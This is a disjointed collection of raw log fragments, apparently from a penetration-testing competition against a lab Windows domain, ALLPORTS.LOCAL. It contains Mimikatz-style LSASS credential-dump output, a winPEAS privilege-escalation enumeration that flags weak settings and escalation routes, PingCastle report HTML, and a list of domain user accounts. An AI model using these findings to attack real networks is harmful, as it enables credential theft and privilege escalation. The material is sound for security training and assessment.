Logon Time        : 11/5/2025 12:37:57 PM
SID               : S-1-5-18
         * Username : deckhand-01$
         * Domain   : ALLPORTS.LOCAL
         * Password : (null)
        Group 0 - Ticket Granting Service
         [00000000]


_raw:
Logon Time        : 11/5/2025 12:37:57 PM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : deckhand-01$
         * Domain   : ALLPORTS.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 121305883 (00000000:073afb1b)
Session           : RemoteInteractive from 2
User Name         : Guest
Domain            : DECKHAND-01
Logon Server      : DECKHAND-01


_raw:
  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ Printing Account Logon Events (4624) for the last 10 days.

  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ Process creation events - searching logs (EID 4688) for sensitive data.

  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ PowerShell events - script block logs (EID 4104) - searching for sensitive data.

  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ Displaying Power off/on events for last 5 days

System.UnauthorizedAccessException: Attempted to perform an unauthorized operation.
   at System.Diagnostics.Eventing.Reader.EventLogException.Throw(Int32 errorCode)
   at System.Diagnostics.Eventing.Reader.NativeWrapper.EvtQuery(EventLogHandle session, String path, String query, Int32 flags)
   at System.Diagnostics.Eventing.Reader.EventLogReader..ctor(EventLogQuery eventQuery, EventBookmark bookmark)
   at winPEAS.Helpers.MyUtils.GetEventLogReader(String path, String query, String computerName)
   at winPEAS.Info.EventsInfo.Power.Power.<GetPowerEventInfos>d__0.MoveNext()
   at winPEAS.Checks.EventsInfo.PowerOnEvents()
════════════════════════════════════╣ Users Information ╠════════════════════════════════════
╔══════════╣ Users
╚ Check if you have some admin equivalent privileges https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
  [X] Exception:
  Current user: Guest
  Current groups: Domain Users, Everyone, Local account and member of Administrators group, Guests, Administrators, Users, Remote Interactive Logon, Interactive, This Organization, Local account, Local, NTLM Authentication
   =================================================================================================
    Not Found
╔══════════╣ Current User Idle Time
   Current User   :     DECKHAND-01\Guest
   Idle Time      :     00h:00m:07s:343ms
╔══════════╣ Display Tenant information (DsRegCmd.exe /status)
   Tenant is NOT Azure AD Joined.
╔══════════╣ Current Token privileges
╚ Check if you can escalate privilege using some enabled token https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#token-manipulation
    SeIncreaseQuotaPrivilege: DISABLED
    SeSecurityPrivilege: DISABLED
    SeTakeOwnershipPrivilege: DISABLED
    SeLoadDriverPrivilege: DISABLED
    SeSystemProfilePrivilege: DISABLED
    SeSystemtimePrivilege: DISABLED
    SeProfileSingleProcessPrivilege: DISABLED
    SeIncreaseBasePriorityPrivilege: DISABLED
    SeCreatePagefilePrivilege: DISABLED
    SeBackupPrivilege: DISABLED
    SeRestorePrivilege: DISABLED
    SeShutdownPrivilege: DISABLED
    SeDebugPrivilege: SE_PRIVILEGE_ENABLED
    SeSystemEnvironmentPrivilege: DISABLED
    SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeRemoteShutdownPrivilege: DISABLED
    SeUndockPrivilege: DISABLED
    SeManageVolumePrivilege: DISABLED
    SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeCreateGlobalPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeIncreaseWorkingSetPrivilege: DISABLED
    SeTimeZonePrivilege: DISABLED
    SeCreateSymbolicLinkPrivilege: DISABLED
    SeDelegateSessionUserImpersonatePrivilege: DISABLED
╔══════════╣ Clipboard text
https://github.com/peass-ng/PEASS-ng/releases/download/20251101-a416400b/winPEASany.exe
╔══════════╣ Logged users
  [X] Exception:
    Not Found
╔══════════╣ Display information about local users
   Computer Name           :   DECKHAND-01
   User Name               :   Admin
   User Id                 :   1001
   Is Enabled              :   True
   User Type               :   Administrator
   Comment                 :


_raw:
    Last Shutdown Date/time        :    11/5/2025 12:37:51 PM
╔══════════╣ User Environment Variables
╚ Check for some passwords or keys in the env variables
    COMPUTERNAME: DECKHAND-01
    USERPROFILE: C:\Users\Guest
    HOMEPATH: \Users\Guest
    LOCALAPPDATA: C:\Users\Guest\AppData\Local
    PSModulePath: C:\Users\Guest\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\windows\system32\WindowsPowerShell\v1.0\Modules
    PROCESSOR_ARCHITECTURE: AMD64
    Path: C:\windows\system32;C:\windows;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0\;C:\windows\System32\OpenSSH\;C:\ProgramData\chocolatey\bin;C:\Users\Guest\AppData\Local\Microsoft\WindowsApps;
    CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
    ProgramFiles(x86): C:\Program Files (x86)
    PROCESSOR_LEVEL: 23
    LOGONSERVER: \\DECKHAND-01
    PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
    HOMEDRIVE: C:
    SystemRoot: C:\windows
    ChocolateyInstall: C:\ProgramData\chocolatey
    SESSIONNAME: RDP-Tcp#0
    ALLUSERSPROFILE: C:\ProgramData
    DriverData: C:\Windows\System32\Drivers\DriverData
    APPDATA: C:\Users\Guest\AppData\Roaming
    PROCESSOR_REVISION: 3100
    USERNAME: Guest
    CommonProgramW6432: C:\Program Files\Common Files
    CommonProgramFiles: C:\Program Files\Common Files
    CLIENTNAME: CPTC11-REGIONAL
    OS: Windows_NT
    USERDOMAIN_ROAMINGPROFILE: DECKHAND-01
    PROCESSOR_IDENTIFIER: AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
    ComSpec: C:\windows\system32\cmd.exe
    SystemDrive: C:
    TEMP: C:\Users\Guest\AppData\Local\Temp\2
    ProgramFiles: C:\Program Files
    NUMBER_OF_PROCESSORS: 4
    TMP: C:\Users\Guest\AppData\Local\Temp\2
    ProgramData: C:\ProgramData
    ProgramW6432: C:\Program Files
    windir: C:\windows
    USERDOMAIN: DECKHAND-01
    PUBLIC: C:\Users\Public
╔══════════╣ System Environment Variables
╚ Check for some passwords or keys in the env variables
    ComSpec: C:\windows\system32\cmd.exe
    DriverData: C:\Windows\System32\Drivers\DriverData
    OS: Windows_NT
    Path: C:\windows\system32;C:\windows;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0\;C:\windows\System32\OpenSSH\;C:\ProgramData\chocolatey\bin
    PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE: AMD64
    PSModulePath: C:\Program Files\WindowsPowerShell\Modules;C:\windows\system32\WindowsPowerShell\v1.0\Modules
    TEMP: C:\windows\TEMP
    TMP: C:\windows\TEMP
    USERNAME: SYSTEM
    windir: C:\windows
    NUMBER_OF_PROCESSORS: 4
    PROCESSOR_LEVEL: 23
    PROCESSOR_IDENTIFIER: AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
    PROCESSOR_REVISION: 3100
    ChocolateyInstall: C:\ProgramData\chocolatey
╔══════════╣ Audit Settings
╚ Check what is being logged
  [X] Exception: Unable to cast object of type 'System.Int32' to type 'System.String'.
    Not Found
╔══════════╣ Audit Policy Settings - Classic & Advanced
╔══════════╣ WEF Settings
╚ Windows Event Forwarding, is interesting to know were are sent the logs
    Not Found
╔══════════╣ LAPS Settings
╚ If installed, local administrator password is changed frequently and is restricted by ACL
    LAPS Enabled: LAPS not installed
╔══════════╣ Wdigest
╚ If enabled, plain-text crds could be stored in LSASS https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wdigest
    Wdigest is not enabled
╔══════════╣ LSA Protection
╚ If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key) https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#lsa-protection
    LSA Protection is not enabled
╔══════════╣ Credentials Guard
╚ If enabled, a driver is needed to read LSASS memory https://book.hacktricks.wiki/windows-hardening/stealing-credentials/credentials-protections#credentials-guard
    CredentialGuard is not enabled
╔══════════╣ Cached Creds
╚ If > 0, credentials will be cached in the registry and accessible by SYSTEM user https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#cached-credentials
    cachedlogonscount is 10
╔══════════╣ Enumerating saved credentials in Registry (CurrentPass)
╔══════════╣ AV Information
  [X] Exception: Invalid namespace
    No AV was detected!!
    whitelistpaths:     C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
╔══════════╣ Windows Defender configuration
  Local Settings
  Path Exclusions:
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  PolicyManagerPathExclusions:
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  Group Policy Settings
╔══════════╣ UAC Status
╚ If you are in the Administrators group check how to bypass the UAC https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#from-administrator-medium-to-high-integrity-level--uac-bypasss
    ConsentPromptBehaviorAdmin: 0 - No prompting
    EnableLUA: 1
    LocalAccountTokenFilterPolicy: 1
    FilterAdministratorToken: 0
      [*] LocalAccountTokenFilterPolicy set to 1.
      [+] Any local account can be used for lateral movement.
╔══════════╣ PowerShell Settings
  [X] Exception: The given key was not present in the dictionary.
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.20348.1
    PowerShell Core Version:
    Transcription Settings:
    Module Logging Settings:
    Scriptblock Logging Settings:
    PS history file:
    PS history size:
╔══════════╣ Enumerating PowerShell Session Settings using the registry
    Name                                   Microsoft.PowerShell
      BUILTIN\Administrators               AccessAllowed
      NT AUTHORITY\INTERACTIVE             AccessAllowed
      BUILTIN\Remote Management Users      AccessAllowed
   =================================================================================================
    Name                                   Microsoft.PowerShell.Workflow
      BUILTIN\Administrators               AccessAllowed
      BUILTIN\Remote Management Users      AccessAllowed
   =================================================================================================
    Name                                   Microsoft.PowerShell32
      BUILTIN\Administrators               AccessAllowed
      NT AUTHORITY\INTERACTIVE             AccessAllowed
      BUILTIN\Remote Management Users      AccessAllowed
   =================================================================================================
╔══════════╣ PS default transcripts history
╚ Read the PS history inside these files (if any)
╔══════════╣ HKCU Internet Settings
    CertificateRevocation: 1
    DisableCachingOfSSLPages: 1
    IE5_UA_Backup_Flag: 5.0
    PrivacyAdvanced: 1
    SecureProtocols: 10240
    User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
    ZonesSecurityUpgrade: System.Byte[]
    WarnonZoneCrossing: 1
    EnableNegotiate: 1
    ProxyEnable: 0
    MigrateProxy: 1
╔══════════╣ HKLM Internet Settings
    ActiveXCache: C:\Windows\Downloaded Program Files
    CodeBaseSearchPath: CODEBASE
    EnablePunycode: 1
    MinorVersion: 0
    WarnOnIntranet: 1
╔══════════╣ Drives Information
╚ Remember that you should search more info inside the other drives
    C:\ (Type: Fixed)(Volume label: OS)(Filesystem: NTFS)(Available space: 95 GB)(Permissions: Administrators [Allow: AllAccess], Users [Allow: AllAccess])
╔══════════╣ Checking WSUS
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
    Not Found
╔══════════╣ Checking KrbRelayUp
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#krbrelayup
  The system is inside a domain (DECKHAND-01) so it could be vulnerable.
╚ You can try https://github.com/Dec0ne/KrbRelayUp to escalate privileges
╔══════════╣ Checking If Inside Container
╚ If the binary cexecsvc.exe or associated service exists, you are inside Docker
You are NOT inside a container
╔══════════╣ Checking AlwaysInstallElevated
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated
    AlwaysInstallElevated isn't available
╔══════════╣ Enumerate LSA settings - auth packages included

    auditbasedirectories                 :       0
    auditbaseobjects                     :       1
    Bounds                               :       00-30-00-00-00-20-00-00
    crashonauditfail                     :       0
    fullprivilegeauditing                :       01
    LimitBlankPasswordUse                :       0
    NoLmHash                             :       1
    Security Packages                    :       ""
    Notification Packages                :       rassfm,scecli
    Authentication Packages              :       msv1_0
    LsaPid                               :       692
    LsaCfgFlagsDefault                   :       0
    SecureBoot                           :       1
    ProductType                          :       7
    disabledomaincreds                   :       0
    everyoneincludesanonymous            :       0
    forceguest                           :       0
    restrictanonymous                    :       0
    restrictanonymoussam                 :       0
    lmcompatibilitylevel                 :       0
╔══════════╣ Enumerating NTLM Settings
  LanmanCompatibilityLevel    : 0 (Send LM & NTLM responses)

  NTLM Signing Settings
      ClientRequireSigning    : False
      ClientNegotiateSigning  : True
      ServerRequireSigning    : False
      ServerNegotiateSigning  : False
      LdapSigning             : Negotiate signing (Negotiate signing)

  Session Security
      NTLMMinClientSec        : 536870912 (Require 128-bit encryption)
        [!] NTLM clients support NTLMv1!
      NTLMMinServerSec        : 536870912 (Require 128-bit encryption)

        [!] NTLM services on this machine support NTLMv1!

  NTLM Auditing and Restrictions
      InboundRestrictions     :  (Not defined)
      OutboundRestrictions    :  (Not defined)
      InboundAuditing         :  (Not defined)
      OutboundExceptions      :
╔══════════╣ Display Local Group Policy settings - local users/machine
   Type             :     user
   Display Name     :     Local Group Policy
   Name             :     Local Group Policy
   Extensions       :     [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}]
   File Sys Path    :     C:\windows\System32\GroupPolicy\User
   Link             :     Local
   GPO Link         :     Local Machine
   Options          :     All Sections Enabled
   =================================================================================================
╔══════════╣ Potential GPO abuse vectors (applied domain GPOs writable by current user)
    No obvious GPO abuse via writable SYSVOL paths or GPCO membership detected.
╔══════════╣ Checking AppLocker effective policy
   AppLockerPolicy version: 1
   listing rules:
╔══════════╣ Enumerating Printers (WMI)
╔══════════╣ Enumerating Named Pipes
  Name                                                                                CurrentUserPerms                                                       Sddl
  eventlog                                                                                Everyone [Allow: WriteData/CreateFiles]                                O:LSG:LSD:P(A;;0x12019b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122)
  PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER                                                                                O:BAG:SYD:(A;;FA;;;SY)(A;;0x12019b;;;LS)(A;;0x12019b;;;NS)
  ProtectedPrefix\LocalService\FTHPIPE                                                                 Interactive [Allow: WriteData/CreateFiles]                             O:LSG:LSD:P(A;;0x12019f;;;IU)(A;;FA;;;LS)
  Winsock2\CatalogChangeListener-230-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-2758-0                                                                Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-2ac-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-2b4-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-3ac-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:NSD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-3e0-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-568-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:LSD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-778-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-978-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-9e8-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:NSD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
  Winsock2\CatalogChangeListener-a60-0                                                                 Administrators [Allow: WriteData/CreateFiles]                          O:BAG:SYD:(D;;FW;;;NU)(A;;0x120196;;;SY)(A;;0x120196;;;BA)
╔══════════╣ Enumerating AMSI registered providers
    Provider:       {2781761E-28E0-4109-99FE-B9D127C57AFE}
    Path:           "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25090.3009-0\MpOav.dll"
   =================================================================================================
╔══════════╣ Enumerating Sysmon configuration
      Installed:                True
      Hashing Algorithm:        Not Defined
      Options:                  7
      Rules:                    [encoded data, 9968 characters]
   =================================================================================================
╔══════════╣ Enumerating Sysmon process creation logs (1)
      Unable to query Sysmon event logs, Sysmon likely not installed.
╔══════════╣ Installed .NET versions

════════════════════════════════════╣ Interesting Events information ╠════════════════════════════════════
╔══════════╣ Printing Explicit Credential Events (4648) for last 30 days - A process logged on using plaintext credentials


_raw:
   Password Last Set       :   1/1/1970 12:00:00 AM
   =================================================================================================
   Computer Name           :   DECKHAND-01
   User Name               :   Guest
   User Id                 :   501
   Is Enabled              :   True
   User Type               :   Guest
   Comment                 :   Built-in account for guest access to the computer/domain


_raw:
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0


_raw:
   Password Last Set       :   11/5/2025 12:27:00 PM
   =================================================================================================
   Computer Name           :   DECKHAND-01
   User Name               :   DefaultAccount
   User Id                 :   503
   Is Enabled              :   False
   User Type               :   Guest
   Comment                 :   A user account managed by the system.


_raw:
   Password Last Set       :   11/5/2025 12:25:25 PM
   =================================================================================================
   Computer Name           :   DECKHAND-01
   User Name               :   Administrator
   User Id                 :   500
   Is Enabled              :   True
   User Type               :   Administrator
   Comment                 :   Built-in account for administering the computer/domain


_raw:
   Last Logon              :   11/5/2025 12:24:40 PM
   Logons Count            :   1


_raw:
    Modified: 11/5/2025 12:24:36 PM
    Size: 11136
   =================================================================================================
╚ Follow the provided link for further instructions in how to decrypt the creds file
╔══════════╣ Checking for RDCMan Settings Files
╚ Dump credentials from Remote Desktop Connection Manager https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
    Not Found
╔══════════╣ Looking for Kerberos tickets
╚  https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
    [*] Enumerated 2 ticket(s):
    [*] Enumerated 7 ticket(s):
    [*] Enumerated 4 ticket(s):
    UserPrincipalName: DECKHAND-01$@allports.local
    serverName: krbtgt/ALLPORTS.LOCAL
    RealmName: ALLPORTS.LOCAL


_raw: Name	Creation	Last logon	Pwd Last Set	Distinguished name


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Account list">


_raw: <div id="sectionnotaesenabledcomputer" class="collapse" aria-labelledby="headingsectionnotaesenabledcomputer" data-parent="#computersaccordion">


_raw: Objects where AES usage with kerberos may be cause issues <i class="info-mark d-print-none has-tooltip" data-bs-placement="bottom" data1-bs-toggle="tooltip" title="" data-bs-original-title="Accounts are listed if 1) no password changed occured after the first DC Win 2008 install to initate AES secrets or 2) they have a SPN and the account is not flaged to use AES for encryption with msDS-SupportedEncryptionTypes"></i>


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#sectionnotaesenabledcomputer" aria-expanded="false" aria-controls="sectionnotaesenabledcomputer">


_raw: Nb Computer Accounts	Nb Enabled 	Nb Disabled 	Nb Active 	Nb Inactive 	Nb AccessDenied 	Nb SidHistory 	Nb Bad PrimaryGroup 	Nb unconstrained delegations 	Nb Reversible password


_raw: <table class="table table-striped table-bordered nopaging aria-label="Computer information list">


_raw: This section gives information about the computer accounts stored in the Active Directory


_raw: <div class="card-body collapse show" id="panelsectionComputerInformation">


_raw: This feature is reserved for customers who have purchased a license


_raw:
aallen	2025-11-05 14:21:13Z	Never	2025-11-05 09:21:13Z	CN=Adan Allen,OU=Hospitality,OU=Departments,DC=allports,DC=local

abaker	2025-11-05 14:19:08Z	Never	2025-11-05 09:19:08Z	CN=Aisha Baker,OU=Engineering,OU=Departments,DC=allports,DC=local

abaker2	2025-11-05 14:19:06Z	Never	2025-11-05 09:19:06Z	CN=Angela Baker,OU=Engineering,OU=Departments,DC=allports,DC=local

abennet	2025-11-05 14:21:48Z	Never	2025-11-05 09:21:48Z	CN=Alyssa Bennet,OU=Sales,OU=Departments,DC=allports,DC=local

abennet2	2025-11-05 14:19:32Z	Never	2025-11-05 09:19:32Z	CN=Ailani Bennet,OU=Refreshments,OU=Departments,DC=allports,DC=local

abennet3	2025-11-05 14:21:18Z	Never	2025-11-05 09:21:18Z	CN=Alivia Bennet,OU=Entertainment,OU=Departments,DC=allports,DC=local

abrooks	2025-11-05 14:20:54Z	Never	2025-11-05 09:20:54Z	CN=Alice Brooks,OU=Refreshments,OU=Departments,DC=allports,DC=local

abrooks2	2025-11-05 14:21:18Z	Never	2025-11-05 09:21:18Z	CN=Ana Brooks,OU=Refreshments,OU=Departments,DC=allports,DC=local

abrown	2025-11-05 14:20:33Z	Never	2025-11-05 09:20:33Z	CN=Asher Brown,OU=Security,OU=Departments,DC=allports,DC=local

acampbell	2025-11-05 14:20:58Z	Never	2025-11-05 09:20:58Z	CN=Ava Campbell,OU=Administration,OU=Departments,DC=allports,DC=local

acarter	2025-11-05 14:18:58Z	Never	2025-11-05 09:18:58Z	CN=Ariel Carter,OU=Administration,OU=Departments,DC=allports,DC=local

acarter2	2025-11-05 14:19:56Z	Never	2025-11-05 09:19:56Z	CN=Adalynn Carter,OU=Hospitality,OU=Departments,DC=allports,DC=local

acarter3	2025-11-05 14:19:27Z	Never	2025-11-05 09:19:27Z	CN=Andrea Carter,OU=Entertainment,OU=Departments,DC=allports,DC=local

acastillo	2025-11-05 14:19:34Z	Never	2025-11-05 09:19:34Z	CN=Aliyah Castillo,OU=Medical,OU=Departments,DC=allports,DC=local

achavez	2025-11-05 14:21:12Z	Never	2025-11-05 09:21:12Z	CN=Ariel Chavez,OU=Security,OU=Departments,DC=allports,DC=local

aclark	2025-11-05 14:21:29Z	Never	2025-11-05 09:21:29Z	CN=Alexander Clark,OU=Hospitality,OU=Departments,DC=allports,DC=local

aclark2	2025-11-05 14:19:55Z	Never	2025-11-05 09:19:55Z	CN=Amanda Clark,OU=Maintenance,OU=Departments,DC=allports,DC=local

acooper	2025-11-05 14:21:39Z	Never	2025-11-05 09:21:39Z	CN=Alivia Cooper,OU=Hospitality,OU=Departments,DC=allports,DC=local

acox	2025-11-05 14:21:07Z	Never	2025-11-05 09:21:07Z	CN=Alma Cox,OU=Refreshments,OU=Departments,DC=allports,DC=local

acruz	2025-11-05 14:21:00Z	Never	2025-11-05 09:21:00Z	CN=Andrew Cruz,OU=Maintenance,OU=Departments,DC=allports,DC=local

adavis	2025-11-05 14:21:11Z	Never	2025-11-05 09:21:11Z	CN=Alana Davis,OU=Deck,OU=Departments,DC=allports,DC=local

adavis2	2025-11-05 14:19:17Z	Never	2025-11-05 09:19:17Z	CN=Abraham Davis,OU=Administration,OU=Departments,DC=allports,DC=local

adiaz	2025-11-05 14:21:27Z	Never	2025-11-05 09:21:27Z	CN=Alice Diaz,OU=Information Technology,OU=Departments,DC=allports,DC=local

adiaz1	2025-11-05 14:19:55Z	Never	2025-11-05 09:19:55Z	CN=Ava Diaz,OU=Hospitality,OU=Departments,DC=allports,DC=local

adiaz11	2025-11-05 14:19:53Z	2025-11-08 16:35:29Z	2025-11-05 09:19:53Z	CN=Adhara Diaz,OU=Information Technology,OU=Departments,DC=allports,DC=local

Admin	2025-11-05 14:15:24Z	Never	2025-11-05 09:04:58Z	CN=Admin,CN=Users,DC=allports,DC=local

Administrator	2025-11-05 14:15:24Z	2025-11-05 09:44:11Z	2025-11-05 09:08:18Z	CN=Administrator,CN=Users,DC=allports,DC=local

aedwards	2025-11-05 14:18:58Z	Never	2025-11-05 09:18:59Z	CN=Anya Edwards,OU=Administration,OU=Departments,DC=allports,DC=local

aedwards2	2025-11-05 14:19:13Z	Never	2025-11-05 09:19:13Z	CN=Astrid Edwards,OU=Entertainment,OU=Departments,DC=allports,DC=local

aevans	2025-11-05 14:21:02Z	Never	2025-11-05 09:21:02Z	CN=Amir Evans,OU=Refreshments,OU=Departments,DC=allports,DC=local

aflores	2025-11-05 14:21:05Z	Never	2025-11-05 09:21:05Z	CN=Alexander Flores,OU=Information Technology,OU=Departments,DC=allports,DC=local

afoster	2025-11-05 14:20:14Z	Never	2025-11-05 09:20:14Z	CN=Ava Foster,OU=Entertainment,OU=Departments,DC=allports,DC=local

afoster2	2025-11-05 14:20:34Z	Never	2025-11-05 09:20:34Z	CN=Alivia Foster,OU=Engineering,OU=Departments,DC=allports,DC=local

afoster3	2025-11-05 14:20:12Z	Never	2025-11-05 09:20:12Z	CN=Ailani Foster,OU=Administration,OU=Departments,DC=allports,DC=local

agarcia	2025-11-05 14:21:34Z	Never	2025-11-05 09:21:34Z	CN=Amelia Garcia,OU=Information Technology,OU=Departments,DC=allports,DC=local

agarcia2	2025-11-05 14:19:16Z	Never	2025-11-05 09:19:16Z	CN=Arleth Garcia,OU=Engineering,OU=Departments,DC=allports,DC=local

agomez	2025-11-05 14:19:06Z	Never	2025-11-05 09:19:06Z	CN=Amy Gomez,OU=Hospitality,OU=Departments,DC=allports,DC=local

agomez2	2025-11-05 14:20:20Z	Never	2025-11-05 09:20:20Z	CN=Ariel Gomez,OU=Engineering,OU=Departments,DC=allports,DC=local

agomez3	2025-11-05 14:21:18Z	Never	2025-11-05 09:21:18Z	CN=Alicia Gomez,OU=Refreshments,OU=Departments,DC=allports,DC=local

agonzales	2025-11-05 14:19:37Z	Never	2025-11-05 09:19:37Z	CN=Amelia Gonzales,OU=Refreshments,OU=Departments,DC=allports,DC=local

agonzales2	2025-11-05 14:20:48Z	Never	2025-11-05 09:20:48Z	CN=Adelyn Gonzales,OU=Refreshments,OU=Departments,DC=allports,DC=local

agutierrez	2025-11-05 14:21:13Z	Never	2025-11-05 09:21:13Z	CN=Adhara Gutierrez,OU=Entertainment,OU=Departments,DC=allpor


_raw: The program checks the last date of the AD backup. This date is computed using the replication metadata of the attribute dsaSignature (reference).


_raw: This section focuses on security checks specific to the Active Directory environment.


_raw: <div class="card-body collapse show" id="panelsectionAnomalies">


_raw:
This section checks for known pain points in AES activation and RC4 removal for kerberos

This feature is reserved for customers who have purchased a license


_raw: <!-- SubSection Replacement of RC4 by AES in kerberos -->


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Service Connection Points list">


_raw: Service Connection Points are a configuration stored in the AD to expose services to all computers.


_raw: Name	Version	Client operational version	AAD TenantID	AAD TenantName


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="SCCM servers">


_raw:
SCCM or its more recent name Microsoft Endpoint Manager is the Microsoft tool to manage the workstations and servers. It is used typically to deploy packages.

PingCastle is checking objects of type mSSMSManagementPoint and the schema to provide the information below.


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Exchange servers">


_raw:
Echange is the mail server of Microsoft. Because it is deeply integrated into the Active Directory, it is a component to be monitored

PingCastle is checking objects of type msExchExchangeServer and the schema to provide the information below.


_raw: Policy Name	WSUS Server 	UseWUServer 	ElevateNonAdmins 	AUOptions 	NoAutoUpdate 	NoAutoRebootWithLoggedOnUsers


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="WSUS settings list">


_raw: WSUS settings allow workstations and servers located on the intranet to be updated.


_raw: Identifier 	Computer 	Tenant 	IsEnabled 	Created 	LastLogon 	PwdLastSet 	Computer object found


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Microsoft Entra Connect account list">


_raw: Microsoft Entra Connect help maintaining a synchronization between the Active Directory and Entra ID. Microsoft Entra Connect servers should be considered as Tiers0 as they usually have the right to read the hashes of the user passwords.


_raw: <!-- SubSection Microsoft Entra Connect settings -->


_raw: <div class="card-body collapse show" id="panelsectionInfrastructure">


_raw: <!-- Accordion trustedCertificates end -->


_raw: Source	Store	Subject	Issuer	NotBefore	NotAfter	Module size	Signature Alg	SC Logon


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Certificates list">


_raw: <div id="trustedCertificatesPanel" class="collapse" aria-labelledby="headingtrustedCertificatesPanel" data-parent="#trustedCertificates">


